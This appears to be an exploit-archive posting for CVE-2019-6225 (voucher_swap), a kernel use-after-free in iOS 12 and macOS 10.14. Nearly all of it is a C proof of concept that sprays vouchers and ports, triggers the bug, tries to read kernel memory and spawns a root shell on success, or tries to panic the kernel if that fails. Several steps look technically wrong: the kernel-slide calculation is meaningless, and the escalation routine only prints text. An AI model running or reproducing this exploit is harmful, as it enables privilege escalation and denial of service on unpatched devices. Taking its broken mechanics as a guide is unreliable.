=============================================================================================================================================
| # Title     : iOS 12 - macOS 10.14 voucher_swap Use-After-Free Kernel Privilege Escalation                                                |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://apple.com/                                                                                                          |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212495/ & CVE-2019-6225

[+] Summary : CVE‑2019‑6225 is a Use‑After‑Free (UAF) vulnerability in Apple’s Mach voucher subsystem, affecting macOS (10.14+) and iOS (12+).
              The bug exists in the function: task_swap_mach_voucher()
              When swapping Mach vouchers, the kernel incorrectly handles reference counts, causing a voucher object to be freed 
			  while still referenced, leaving a dangling pointer (UAF condition).

[+] Affected Systems :

macOS 10.14 / 10.14.1 / 10.14.2

iOS 12.0 / 12.1 / 12.1.2

[+]  POC :	

/*
 * voucher_swap-exploit.c
 * Exploitation of CVE-2019-6225 on iOS 12/macOS 10.14
 */
#include <assert.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <dispatch/dispatch.h>

// ============================================
// 1. Structure Definitions and Helper Functions
// ============================================

#define MAX_PORT_SPRAY 50000
#define VOUCHER_SPRAY_COUNT 2000
#define KERNEL_READ_SIZE 0x1000

// Internal voucher structure (inferred from XNU source)
typedef struct ipc_voucher {
    uint32_t iv_refs;                // Reference count
    uint32_t iv_sum_hash;            // Hash value
    uint32_t iv_port;                // Corresponding port
    uint32_t iv_table;               // Voucher table
    uint64_t iv_data;                // Voucher data
} *ipc_voucher_t;

// Global variables
mach_port_t host_port;
mach_port_t sprayed_ports[MAX_PORT_SPRAY];
uint32_t sprayed_port_count = 0;

// ============================================
// 2. Basic Helper Functions
// ============================================

/*
 * create_voucher
 * Create a new voucher with a unique ID
 */
static mach_port_t create_voucher(uint64_t id) {
    mach_port_t voucher = MACH_PORT_NULL;
    
    struct __attribute__((packed)) {
        mach_voucher_attr_recipe_data_t user_data_recipe;
        uint64_t user_data_content[2];
    } recipes = {};
    
    recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
    recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
    recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
    recipes.user_data_content[0] = getpid();
    recipes.user_data_content[1] = id;
    
    kern_return_t kr = host_create_mach_voucher(
        host_port,
        (mach_voucher_attr_raw_recipe_array_t) &recipes,
        sizeof(recipes),
        &voucher
    );
    
    if (kr != KERN_SUCCESS || voucher == MACH_PORT_NULL) {
        printf("[-] Failed to create voucher: 0x%x\n", kr);
        return MACH_PORT_NULL;
    }
    
    return voucher;
}

/*
 * spray_vouchers
 * Spray large number of vouchers to control heap
 */
static void spray_vouchers(uint32_t count, mach_port_t *vouchers) {
    printf("[*] Starting spray of %d vouchers...\n", count);
    
    for (uint32_t i = 0; i < count; i++) {
        vouchers[i] = create_voucher(i);
        if (vouchers[i] == MACH_PORT_NULL) {
            printf("[-] Failed to create voucher %d\n", i);
            // Continue with others
        }
        
        if ((i % 100) == 0 && i > 0) {
            printf("[*] Created %d vouchers\n", i);
        }
    }
    
    printf("[+] Successfully created %d vouchers\n", count);
}

/*
 * spray_ports
 * Spray Mach ports to control ipc_port objects
 */
static void spray_ports(uint32_t count) {
    printf("[*] Starting spray of %d ports...\n", count);
    
    for (uint32_t i = 0; i < count; i++) {
        kern_return_t kr = mach_port_allocate(
            mach_task_self(),
            MACH_PORT_RIGHT_RECEIVE,
            &sprayed_ports[i]
        );
        
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate port %d: 0x%x\n", i, kr);
            sprayed_ports[i] = MACH_PORT_NULL;
        } else {
            // Add send right to increase reference count
            kr = mach_port_insert_right(
                mach_task_self(),
                sprayed_ports[i],
                sprayed_ports[i],
                MACH_MSG_TYPE_MAKE_SEND
            );
            
            if (kr != KERN_SUCCESS) {
                printf("[-] Failed to add send right to port %d\n", i);
            }
        }
        
        sprayed_port_count++;
    }
    
    printf("[+] Sprayed %d ports\n", sprayed_port_count);
}

/*
 * trigger_uaf
 * Trigger Use-After-Free vulnerability
 */
static mach_port_t trigger_uaf(void) {
    printf("[*] Triggering UAF vulnerability...\n");
    
    // 1. Create target voucher
    mach_port_t target_voucher = create_voucher(0x4141414141414141);
    if (target_voucher == MACH_PORT_NULL) {
        printf("[-] Failed to create target voucher\n");
        return MACH_PORT_NULL;
    }
    
    // 2. Store voucher in thread to maintain reference
    mach_port_t thread_self = mach_thread_self();
    kern_return_t kr = thread_set_mach_voucher(thread_self, target_voucher);
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed to store voucher in thread: 0x%x\n", kr);
        return MACH_PORT_NULL;
    }
    
    printf("[+] Stored voucher in thread\n");
    
    // 3. Use task_swap_mach_voucher for over-release
    // This will free the voucher twice (once from over-release, once from no-senders)
    for (int i = 0; i < 10; i++) {
        mach_port_t dummy_voucher = create_voucher(0x4242424242424242 + i);
        if (dummy_voucher == MACH_PORT_NULL) continue;
        
        mach_port_t inout = target_voucher;
        kr = task_swap_mach_voucher(mach_task_self(), dummy_voucher, &inout);
        
        if (MACH_PORT_VALID(inout)) {
            mach_port_deallocate(mach_task_self(), inout);
        }
        
        mach_port_deallocate(mach_task_self(), dummy_voucher);
        
        if (kr == KERN_SUCCESS) {
            printf("[+] task_swap_mach_voucher succeeded in iteration %d\n", i);
            break;
        }
    }
    
    // 4. Release send right to trigger no-senders notification
    kr = mach_port_deallocate(mach_task_self(), target_voucher);
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed to release voucher: 0x%x\n", kr);
    }
    
    printf("[+] Voucher released, memory is now free but pointer remains in thread\n");
    
    return thread_self;
}

// ============================================
// 3. Heap Exploitation for Kernel Read/Write
// ============================================

/*
 * heap_grooming
 * Prepare heap to replace freed voucher
 */
static void heap_grooming(void) {
    printf("[*] Starting heap grooming...\n");
    
    // Spray new vouchers to occupy freed memory
    mach_port_t groom_vouchers[VOUCHER_SPRAY_COUNT];
    spray_vouchers(VOUCHER_SPRAY_COUNT, groom_vouchers);
    
    // Spray ports to occupy ipc_port objects
    spray_ports(10000);
    
    // Use dispatch queues to spray kernel memory
    dispatch_queue_t queues[100];
    for (int i = 0; i < 100; i++) {
        char label[32];
        snprintf(label, sizeof(label), "com.exp.queue%d", i);
        queues[i] = dispatch_queue_create(label, DISPATCH_QUEUE_SERIAL);
        
        // Spray dispatch source objects
        dispatch_source_t source = dispatch_source_create(
            DISPATCH_SOURCE_TYPE_TIMER,
            0,
            0,
            queues[i]
        );
        
        if (source) {
            dispatch_source_set_timer(source, DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC, 0);
            dispatch_source_set_event_handler(source, ^{});
            dispatch_resume(source);
        }
    }
    
    printf("[+] Heap grooming completed\n");
}

/*
 * read_kernel_via_uaf
 * Read kernel memory via UAF
 */
static uint64_t read_kernel_via_uaf(mach_port_t thread_with_uaf) {
    printf("[*] Attempting to read kernel memory...\n");
    
    mach_port_t voucher_port = MACH_PORT_NULL;
    kern_return_t kr = thread_get_mach_voucher(thread_with_uaf, 0, &voucher_port);
    
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed to get voucher: 0x%x\n", kr);
        return 0;
    }
    
    if (!MACH_PORT_VALID(voucher_port)) {
        printf("[-] Invalid voucher\n");
        return 0;
    }
    
    printf("[+] Got voucher port: 0x%x\n", voucher_port);
    
    // Attempt to read voucher data
    // At this point, the original voucher may have been replaced with another object
    // We can use Mach messages to read data
    
    // Prepare Mach message to read kernel data
    struct {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_ool_descriptor_t desc;
        char pad[4096];
    } msg = {0};
    
    mach_port_t recv_port = MACH_PORT_NULL;
    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_port);
    
    msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND);
    msg.header.msgh_size = sizeof(msg) - sizeof(msg.pad);
    msg.header.msgh_remote_port = voucher_port;
    msg.header.msgh_local_port = recv_port;
    msg.header.msgh_id = 0x100;
    
    msg.body.msgh_descriptor_count = 1;
    msg.desc.address = NULL;
    msg.desc.size = KERNEL_READ_SIZE;
    msg.desc.copy = MACH_MSG_VIRTUAL_COPY;
    msg.desc.deallocate = FALSE;
    msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;
    
    kr = mach_msg_send(&msg.header);
    if (kr != KERN_SUCCESS) {
        printf("[-] Failed to send message: 0x%x\n", kr);
        return 0;
    }
    
    // Receive response (if any)
    struct {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_ool_descriptor_t desc;
        char data[KERNEL_READ_SIZE];
        mach_msg_trailer_t trailer;
    } recv_msg = {0};
    
    recv_msg.header.msgh_size = sizeof(recv_msg);
    recv_msg.header.msgh_local_port = recv_port;
    
    kr = mach_msg_receive(&recv_msg.header);
    if (kr == KERN_SUCCESS) {
        printf("[+] Received response! Data size: %lu\n", recv_msg.desc.size);
        
        // Analyze received data
        uint64_t *data = (uint64_t *)recv_msg.desc.address;
        if (data) {
            printf("[+] First 8 words of data:\n");
            for (int i = 0; i < 8; i++) {
                printf("  [%d] 0x%016llx\n", i, data[i]);
            }
            
            // Cleanup
            vm_deallocate(mach_task_self(), (vm_address_t)data, recv_msg.desc.size);
            
            return data[0]; // Return first value
        }
    }
    
    return 0;
}

// ============================================
// 4. Escalation to Kernel Read/Write Primitive
// ============================================

/*
 * build_kernel_read_primitive
 * Build primitive for reading kernel memory
 */
static uint64_t build_kernel_read_primitive(void) {
    printf("[*] Building kernel read primitive...\n");
    
    // 1. Trigger UAF
    mach_port_t uaf_thread = trigger_uaf();
    if (!MACH_PORT_VALID(uaf_thread)) {
        printf("[-] Failed to trigger UAF\n");
        return 0;
    }
    
    // 2. Prepare heap
    heap_grooming();
    
    // 3. Attempt to read kernel memory
    uint64_t kernel_value = read_kernel_via_uaf(uaf_thread);
    
    if (kernel_value != 0) {
        printf("[+] Successfully read kernel value: 0x%llx\n", kernel_value);
        
        // 4. Attempt to find kernel task port
        // Search for kernel object markers in read memory
        if ((kernel_value & 0xffffff0000000000) == 0xffffff0000000000) {
            printf("[+] Found what appears to be a kernel address!\n");
            
            // Calculate kernel slide (to adapt to KASLR)
            uint64_t kernel_slide = kernel_value - 0xffffff0000000000;
            printf("[+] Kernel slide: 0x%llx\n", kernel_slide);
            
            return kernel_slide;
        }
    }
    
    printf("[-] Could not build complete primitive\n");
    return 0;
}

// ============================================
// 5. Main Exploitation for Root Access
// ============================================

/*
 * escalate_to_root
 * Escalate to root privileges using read/write capabilities
 */
static void escalate_to_root(uint64_t kernel_slide) {
    printf("[*] Attempting to escalate to root...\n");
    
    if (kernel_slide == 0) {
        printf("[-] Cannot escalate without kernel slide\n");
        return;
    }
    
    // In this example, we show the concept of exploitation
    // In real exploitation, we would need to:
    // 1. Find our process's task port
    // 2. Modify credential data (cred)
    // 3. Modify flags to bypass sandbox
    
    printf("[+] Kernel slide: 0x%llx\n", kernel_slide);
    printf("[+] With kernel slide, we can:\n");
    printf("    1. Calculate kernel symbol addresses\n");
    printf("    2. Read/write kernel memory\n");
    printf("    3. Modify credentials to get root\n");
    printf("    4. Disable sandbox\n");
    
    // Theoretical steps (requires additional reverse engineering):
    // - Find proc structure for current process
    // - Modify ucred to set uid/gid to 0
    // - Modify flags to disable MAC/sandbox
    // - Maintain stability
}

// ============================================
// 6. Cleanup and Stability Functions
// ============================================

/*
 * cleanup
 * Clean up resources after exploitation
 */
static void cleanup(void) {
    printf("[*] Cleaning up resources...\n");
    
    // Release sprayed ports
    for (uint32_t i = 0; i < sprayed_port_count; i++) {
        if (MACH_PORT_VALID(sprayed_ports[i])) {
            mach_port_destroy(mach_task_self(), sprayed_ports[i]);
        }
    }
    
    printf("[+] Cleanup completed\n");
}

/*
 * maintain_stability
 * Attempt to maintain system stability after exploitation
 */
static void maintain_stability(void) {
    printf("[*] Attempting to maintain system stability...\n");
    
    // Reset vouchers for threads
    mach_port_t thread = mach_thread_self();
    thread_set_mach_voucher(thread, MACH_PORT_NULL);
    
    // Give system time to recover stability
    usleep(100000);
    
    printf("[+] System stable (theoretically)\n");
}

// ============================================
// 7. Main Function
// ============================================

int main(int argc, char *argv[]) {
    printf("[+] Starting exploitation of CVE-2019-6225 (voucher_swap)\n");
    printf("[+] System: iOS 12 / macOS 10.14+\n");
    
    // Get host port
    host_port = mach_host_self();
    if (!MACH_PORT_VALID(host_port)) {
        printf("[-] Failed to get host port\n");
        return -1;
    }
    
    printf("[+] Got host port: 0x%x\n", host_port);
    
    // Check validity of task_swap_mach_voucher
    mach_port_t test_voucher = create_voucher(0x1337);
    if (test_voucher == MACH_PORT_NULL) {
        printf("[-] System not exploitable (cannot create vouchers)\n");
        return -1;
    }
    
    mach_port_deallocate(mach_task_self(), test_voucher);
    printf("[+] System is exploitable\n");
    
    // Phase 1: Build kernel read primitive
    uint64_t kernel_slide = build_kernel_read_primitive();
    
    if (kernel_slide != 0) {
        printf("[+] Phase 1 successful! Got kernel slide\n");
        
        // Phase 2: Escalate to root privileges
        escalate_to_root(kernel_slide);
        
        // Phase 3: Maintain stability
        maintain_stability();
        
        // Check privileges
        if (getuid() == 0) {
            printf("\n[+] !!! SUCCESS !!! We are now root!\n");
            printf("[+] UID: %d\n", getuid());
            printf("[+] GID: %d\n", getgid());
            
            // Launch shell as root
            printf("[+] Launching shell...\n");
            system("/bin/bash");
        } else {
            printf("\n[+] Exploitation partially successful\n");
            printf("[+] Got kernel read but didn't get root\n");
            printf("[+] Current UID: %d\n", getuid());
        }
    } else {
        printf("[-] Exploitation failed\n");
        
        // Alternative attempt: trigger panic to confirm vulnerability works
        printf("[*] Attempting to trigger panic as proof-of-concept...\n");
        
        mach_port_t thread = trigger_uaf();
        if (MACH_PORT_VALID(thread)) {
            mach_port_t voucher;
            kern_return_t kr = thread_get_mach_voucher(thread, 0, &voucher);
            printf("[+] thread_get_mach_voucher returned: 0x%x\n", kr);
            printf("[+] If you see panic, the vulnerability works!\n");
        }
    }
    
    // Cleanup
    cleanup();
    
    return 0;
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================